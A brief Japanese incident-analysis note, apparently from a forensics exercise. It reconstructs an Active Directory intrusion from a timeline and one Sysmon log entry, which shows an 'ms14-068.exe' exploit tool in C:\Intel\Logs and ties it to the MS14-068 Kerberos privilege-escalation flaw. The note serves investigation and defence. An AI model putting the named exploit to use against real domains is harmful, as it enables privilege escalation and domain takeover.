2019/11/07 15:29:37　machida.kanagawa追加
2019/11/07 15:31:02　ADに侵入

2019/11/07 15:29:37より前のSysmon.csvをみていく

```
情報,2019/11/07 15:26:37,Microsoft-Windows-Sysmon,5,Process terminated (rule: ProcessTerminate),"Process terminated:
UtcTime: 2019-11-07 06:26:37.933
ProcessGuid: {CC41BF7E-521D-5A01-0000-00107BD82100}
ProcessId: 5140
Image: C:\Intel\Logs\ms14068\ms14-068.exe"
```

Kerberos の脆弱性により特権が昇格される

https://docs.microsoft.com/ja-jp/security-updates/securitybulletins/2014/ms14-068

以上。